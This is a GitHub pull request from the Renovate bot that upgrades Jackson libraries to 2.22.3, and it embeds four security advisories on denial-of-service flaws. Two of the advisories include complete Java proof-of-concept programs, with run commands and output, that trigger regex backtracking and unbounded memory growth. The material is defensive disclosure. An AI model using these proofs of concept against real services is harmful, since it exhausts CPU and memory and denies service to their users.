Skip to content

fix(deps): update version.com.fasterxml.jackson to v2.22.3 [security] - #1270

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/version.com.fasterxml.jackson
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/version.com.fasterxml.jackson

Conversation

@renovate

@renovate renovate Bot commented Oct 4, 2026 •

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.22.2 → 2.22.3 age confidence
com.fasterxml.jackson.core:jackson-core 2.22.2 → 2.22.3 age confidence

jackson-databind retains every unknown raw type ID

CVE-2026-91776 / GHSA-wv8q-qhhj-9h54

More information

Details

Summary

With @JsonTypeInfo(use = Id.NAME, defaultImpl = ...), every distinct unknown
raw type ID selects the same fallback deserializer but is retained as a
separate key in TypeDeserializerBase._deserializers. An attacker who can
repeatedly supply new unknown type IDs can grow this process-lifetime cache
without a configured bound.

Details

The affected path is TypeDeserializerBase._findDeserializer(). After an
unknown name-based type ID resolves to the configured fallback/default
implementation, jackson-databind caches the result under the attacker-provided
raw typeId. Although all such IDs select the same fallback deserializer, each
new string remains a distinct cache key.

The behavior is runtime-confirmed in jackson-databind 2.22.1 and 3.2.1.
Current 2.22 and 3.2 source branches retained the unbounded _deserializers
map and per-raw-ID cache write when rechecked. The earlier affected floor has
not been established, patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.

The vulnerable application must enable name-based polymorphism with a
defaultImpl or equivalent fallback, accept attacker-influenced type IDs, and
reuse a long-lived mapper/type deserializer across requests.

Suggested correction: avoid caching each unknown raw ID when every such ID
resolves to the same fallback, use a fallback sentinel, or use an explicitly
bounded concurrency-safe cache. A regression should contrast many distinct
unknown IDs with repetitions of one unknown ID across requests.

PoC

Configure a polymorphic base type with
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, defaultImpl = Fallback.class) and
deserialize inputs containing unknown type names through the same mapper.
Inspect TypeDeserializerBase._deserializers after the run.

On affected 2.x and 3.x versions, 10,000 distinct unknown raw type IDs produce
10,000 retained cache entries even though every input selects the same
fallback deserializer. A matched control that repeats one unknown ID 10,000
times produces one retained entry. This isolates attacker-controlled key
cardinality from ordinary request count.

Impact

Where the stated polymorphic fallback configuration is exposed to
attacker-influenced type IDs, distinct inputs cause incremental
process-lifetime memory retention and eventual availability pressure or
denial of service. This is not claimed as a single-request allocation spike,
and no fixed bytes-per-ID or time-to-out-of-memory value is asserted. No
confidentiality, integrity, or code-execution impact is claimed.

Requested credit: Daniel Birtwhistle

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


jackson-databind quadratic forward-reference completion

CVE-2026-91777 / GHSA-cxp5-3px4-pw24

More information

Details

Summary

When an @JsonIdentityInfo collection or map first creates N unresolved
object-ID references and later resolves the same IDs in reverse order,
jackson-databind scans the remaining pending-reference accumulator for each
resolution. A shallow JSON document whose size grows linearly can therefore
cause quadratic CPU work during deserialization.

Details

The affected path is forward-reference completion in
CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()
and the corresponding map implementation. The implementation performs a
linear search of the pending accumulator for every resolved object ID.

The behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and
3.2.1. Current 2.22 and 3.2 source branches retained the same design when
rechecked. A 2.4.0 control fails closed before successful reverse-order
completion, so 2.5.0 is the conservative runtime-confirmed affected floor.
The patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.

The vulnerable application must deserialize attacker-influenced JSON into an
identity-enabled collection or map. The issue does not require deep nesting or
syntactically unusual JSON.

Suggested correction: replace repeated linear lookup/removal with a keyed
pending-reference structure or another design that provides linear or
amortized-linear completion. A regression should preserve input order,
duplicate-ID behavior, and unresolved-ID errors while bounding reverse-order
resolution work.

PoC

The proof constructs a shallow collection containing N unresolved
@JsonIdentityInfo references followed by definitions of those same IDs in
reverse order. Its ID class counts equals() calls, giving a deterministic
work measure rather than a timing-dependent result.

With N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An
equally sized control in which every reference is already resolved performs
zero comparisons in the pending-reference lookup path. The run is bounded to
a 512 MiB JVM. The result demonstrates quadratic growth: approximately
N * (N + 1) / 2 comparisons, plus fixed setup comparisons.

Impact

An unauthenticated source that can submit JSON to an application using the
affected identity-enabled collection or map shape can consume quadratic CPU
and exhaust a request-time or worker-capacity budget, causing denial of
service. The application model/configuration prerequisite is material. No
confidentiality, integrity, code-execution, or parser-depth impact is claimed.

Requested credit: Daniel Birtwhistle

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()

CVE-2026-89407 / GHSA-p6pp-m3f8-5c89

More information

Details

Status

FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost
exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000
characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical
HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().

Affected Component / Version
  • Package: com.fasterxml.jackson.core:jackson-core
  • Confirmed against: jackson-core-2.20.2
  • Affected file: src/main/java/com/fasterxml/jackson/core/io/NumberInput.java
    (PATTERN_FLOAT line ~41-42, PATTERN_FLOAT_TRAILING_DOT line ~51, entry point
    looksLikeValidNumber() lines ~646-656)
Technical Analysis
private final static Pattern PATTERN_FLOAT = Pattern.compile(
      "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");

private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
        "[+-]?[0-9]+[\\.]");

public static boolean looksLikeValidNumber(final String s) {
    // ... short-circuits only for null/empty/length==1 ...
    return PATTERN_FLOAT.matcher(s).matches()
            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}

PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class:
[0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's
backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here,
so on a non-matching input the engine must explore every possible split point between the
[0-9]* and [0-9]+ groups before concluding failure — the classic quadratic-backtracking
shape. looksLikeValidNumber() compounds the cost by running a second full-string regex
(PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor
without changing the asymptotic class.

Critically, the length gate that applies to this specific path is
StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength
(default 1,000) — the length ceiling the library uses everywhere else for numeric content.
This means inputs up to four orders of magnitude larger than the library's own numeric-length
policy reach this quadratic regex unmodified.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS
Full PoC Source (poc/PoC8_NumberInputReDoS.java)
import com.fasterxml.jackson.core.io.NumberInput;

public class PoC8_NumberInputReDoS {

    public static void main(String[] args) {
        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
        long[] timesMs = new long[sizes.length];

        System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");

        for (int i = 0; i < sizes.length; i++) {
            int n = sizes[i];
            String s = repeat('1', n) + "x";

            if (i == 0) {
                NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
            }

            long t0 = System.nanoTime();
            boolean result = NumberInput.looksLikeValidNumber(s);
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            timesMs[i] = elapsedMs;

            System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
        }

        System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
        boolean quadraticSignatureObserved = false;
        for (int i = 1; i < sizes.length; i++) {
            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
            System.out.printf("  n=%d -> n=%d : %dms -> %dms  (ratio=%.2fx)%n",
                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
            if (ratio >= 3.0) quadraticSignatureObserved = true;
        }

        System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
                + " ms for a single call from ONE HTTP-body-sized string.");
        System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
                + "governs this path, not maxNumberLength (1,000).");

        if (quadraticSignatureObserved) {
            System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
                    + "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
        }
    }

    static String repeat(char c, int n) {
        char[] arr = new char[n];
        java.util.Arrays.fill(arr, c);
        return new String(arr);
    }
}
Captured Evidence (actual run output)
Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:

n=5000     looksLikeValidNumber=false  elapsed=    74 ms
n=10000    looksLikeValidNumber=false  elapsed=   306 ms
n=20000    looksLikeValidNumber=false  elapsed=  1157 ms
n=40000    looksLikeValidNumber=false  elapsed=  4655 ms
n=80000    looksLikeValidNumber=false  elapsed= 18592 ms
n=160000   looksLikeValidNumber=false  elapsed= 74393 ms

Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
  n=5000 -> n=10000 : 74ms -> 306ms  (ratio=4.14x)
  n=10000 -> n=20000 : 306ms -> 1157ms  (ratio=3.78x)
  n=20000 -> n=40000 : 1157ms -> 4655ms  (ratio=4.02x)
  n=40000 -> n=80000 : 4655ms -> 18592ms  (ratio=3.99x)
  n=80000 -> n=160000 : 18592ms -> 74393ms  (ratio=4.00x)

Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.

=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.

This is an unusually clean empirical result: five consecutive doublings each produced a ratio
between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within
5% at every single measurement, leaving essentially no ambiguity about the complexity class.
Extrapolating this measured curve, a ~1MB string (well within common request body limits) would
take on the order of hours for a single call.

Impact

Any application that coerces a String-typed JSON field to a number (default jackson-databind
behavior) is exposed: an attacker who can submit a large numeric-looking string (up to
maxStringLength's default of 20,000,000 characters — far larger than needed given the
measured curve) can pin a request-handling thread for an extended period with a single request.
Because the cost scales quadratically, a handful of concurrent moderately-sized requests
(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread
pool, denying service to all users.

Remediation
  1. Rewrite PATTERN_FLOAT without quantifier ambiguity using possessive quantifiers, e.g.
    [+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the
    trailing-dot case and removes the need for a second full-string scan.
  2. Better: replace the regex entirely with a single-pass hand-written character scan — the same
    file already contains exactly this pattern for parseInt, so the library has both the
    precedent and the code style available.
  3. Apply an independent length limit (maxNumberLength, not the much larger
    maxStringLength) before calling looksLikeValidNumber(), closing the four-orders-of-
    magnitude gap between the two constraints for this specific code path.
  4. Operationally, until fixed: tighten StreamReadConstraints.maxStringLength well below its
    default, and set wall-clock timeouts on parse/coercion operations.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)

CVE-2026-89425 / GHSA-7hhh-6rmp-j9qf

More information

Details

Status

FULLY REPRODUCED. A malformed token fed through createParser(DataInput) produced a
20,000,109-character exception message from a 20-million-character attacker payload, while the
identical payload fed through createParser(InputStream) produced a correctly bounded
367-character message.

Affected Component / Version
  • Package: com.fasterxml.jackson.core:jackson-core
  • Confirmed against: jackson-core-2.20.2
  • Affected file: src/main/java/com/fasterxml/jackson/core/json/UTF8DataInputJsonParser.java
    (_reportInvalidToken(int, String, String), lines ~2763-2780 in the 2.20.2 tree)
Technical Analysis

UTF8DataInputJsonParser._reportInvalidToken() builds the offending-token description for its
exception message by appending identifier characters one at a time to a bare StringBuilder:

protected void _reportInvalidToken(int ch, String matchedPart, String msg) throws IOException {
    StringBuilder sb = new StringBuilder(matchedPart);
    while (true) {
        char c = (char) _decodeCharForError(ch);
        if (!Character.isJavaIdentifierPart(c)) {
            break;
        }
        sb.append(c);
        ch = _inputData.readUnsignedByte();
    }
    _reportError("Unrecognized token '"+sb.toString()+"': was expecting "+msg);
}

There is no check against ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)
anywhere in this loop. By contrast, the sibling UTF8StreamJsonParser implementation of the
same logic does enforce it:

// UTF8StreamJsonParser.java (control, correctly bounded)
if (sb.length() >= _ioContext.errorReportConfiguration().getMaxErrorTokenLength()) {
    sb.append("...");
    break;
}

ReaderBasedJsonParser and NonBlockingUtf8JsonParserBase also correctly enforce the limit —
this is a defect isolated to the DataInput-backed implementation specifically, confirmed by
direct comparison of all four parser implementations in this tree.

This path is additionally left with no fallback control: because of [core#1570]-related
logic in JsonFactory, configuring maxDocumentLength causes DataInput-sourced parser
creation to be rejected outright, so a document-length backstop cannot coexist with this input
source, and the identifier-character accumulation never passes through
ReadConstrainedTextBuffer, so maxStringLength does not apply either. There is no
configuration an application can set to mitigate this specific path.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC6_UnboundedErrorTokenStringBuilder.java
java -Xmx2g -cp "poc:$CP" PoC6_UnboundedErrorTokenStringBuilder
Full PoC Source (poc/PoC6_UnboundedErrorTokenStringBuilder.java)
import com.fasterxml.jackson.core.*;

import java.io.DataInputStream;
import java.io.IOException;
import java.io.InputStream;

public class PoC6_UnboundedErrorTokenStringBuilder {

    static class RepeatingByteInputStream extends InputStream {
        private final int b;
        private long remaining;
        RepeatingByteInputStream(int b, long count) { this.b = b; this.remaining = count; }
        @Override public int read() {
            if (remaining <= 0) return -1;
            remaining--;
            return b;
        }
    }

    public static void main(String[] args) throws Exception {
        final long IDENTIFIER_CHAR_COUNT = 20_000_000L;

        System.out.println("Malformed token: \"t\" followed by " + IDENTIFIER_CHAR_COUNT
                + " Java-identifier characters ('x'), then a terminating space, never completing"
                + " \"true\"/\"false\"/\"null\"/NaN.\n");

        System.out.println("=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            DataInputStream dataIn = new DataInputStream(raw);
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser((java.io.DataInput) dataIn);

            long heapBefore = usedHeap();
            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            long heapAfter = usedHeap();

            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Approx additional heap used: " + ((heapAfter - heapBefore) / (1024 * 1024)) + " MB");
            System.out.println("Message length proportional to the full " + IDENTIFIER_CHAR_COUNT
                    + "-character payload (unbounded)? " + (msgLen > 1_000_000));
        }

        System.out.println("\n=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===");
        {
            InputStream raw = concat3("{\"a\": t".getBytes("UTF-8"),
                    new RepeatingByteInputStream('x', IDENTIFIER_CHAR_COUNT), " }".getBytes("UTF-8"));
            JsonFactory factory = new JsonFactory();
            JsonParser p = factory.createParser(raw);

            long t0 = System.nanoTime();
            String message = null;
            try {
                p.nextToken(); p.nextToken(); p.nextToken();
            } catch (JsonParseException e) {
                message = e.getOriginalMessage() != null ? e.getOriginalMessage() : e.getMessage();
            } catch (IOException e) {
                message = "(stream ended: " + e + ")";
            }
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            int msgLen = message == null ? -1 : message.length();
            System.out.println("Exception message length: " + msgLen + " characters");
            System.out.println("Elapsed time: " + elapsedMs + " ms");
            System.out.println("Message length bounded near default maxErrorTokenLength (256)? " + (msgLen < 500));
        }
    }

    static InputStream concat3(byte[] prefix, InputStream middle, byte[] suffix) {
        InputStream first = new java.io.SequenceInputStream(new java.io.ByteArrayInputStream(prefix), middle);
        return new java.io.SequenceInputStream(first, new java.io.ByteArrayInputStream(suffix));
    }

    static long usedHeap() {
        Runtime rt = Runtime.getRuntime();
        System.gc();
        return rt.totalMemory() - rt.freeMemory();
    }
}
Captured Evidence (actual run output)
Malformed token: "t" followed by 20000000 Java-identifier characters ('x'), then a terminating
space, never completing "true"/"false"/"null"/NaN.

=== (a) UTF8DataInputJsonParser via createParser(DataInput) ===
Exception message length: 20000109 characters
Elapsed time: 81 ms
Approx additional heap used (best-effort, GC-noisy): 38 MB
Message length is proportional to the full 20000000-character attacker payload (unbounded)? true

=== (b) UTF8StreamJsonParser via createParser(InputStream), SAME malformed input ===
Exception message length: 367 characters
Elapsed time: 7 ms
Message length bounded near ErrorReportConfiguration.getMaxErrorTokenLength() (default 256)? true

The same 20-million-character malformed token, fed to the two parser variants, produces a
367-character message via the correctly-bounded InputStream path and a 20,000,109-character
message via the vulnerable DataInput path — a difference of roughly 54,500x for identical
input, confirming the missing bound is the sole cause of the difference.

Impact

Any application creating parsers via JsonFactory.createParser(DataInput) over
attacker-supplied input (a fully public, documented API) is exposed to unbounded memory growth
from a single malformed token. Scaling the payload from the 20MB demonstrated here to
gigabytes (well within a typical unbounded request body) would drive the accumulated
StringBuilder — which additionally undergoes byte-to-char expansion and internal doubling —
to consume many times the raw payload size, realistically triggering OutOfMemoryError and
denying service to the whole JVM process. Critically, no available configuration mitigates
this
: maxDocumentLength cannot be set for DataInput sources at all, and maxStringLength
does not apply to this code path.

Remediation
  1. Add the maxErrorTokenLength check to the append loop in
    UTF8DataInputJsonParser._reportInvalidToken(), appending "..." and breaking when the
    limit is reached — mirroring the three other parser implementations exactly.
  2. Add a parameterized regression test across all four parser implementations asserting the
    exception message length is bounded by maxErrorTokenLength plus a small constant.
  3. Consider extracting this bounded-scan logic into a single shared helper on
    ParserMinimalBase to prevent this class of per-implementation drift recurring.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate Bot added area/dependencies Dependency updates update/patch Patch version dependency update labels Oct 4, 2026
@renovate renovate Bot changed the title fix(deps): update dependency com.fasterxml.jackson.core:jackson-databind to v2.22.3 [security] fix(deps): update version.com.fasterxml.jackson to v2.22.3 [security] Oct 10, 2026
@renovate
renovate Bot force-pushed the renovate/version.com.fasterxml.jackson branch 6 times, most recently from 9d5848a to e78013a Compare October 21, 2026 16:32
@renovate
renovate Bot force-pushed the renovate/version.com.fasterxml.jackson branch from e78013a to f9de955 Compare October 22, 2026 05:15
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area/dependencies Dependency updates update/patch Patch version dependency update

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants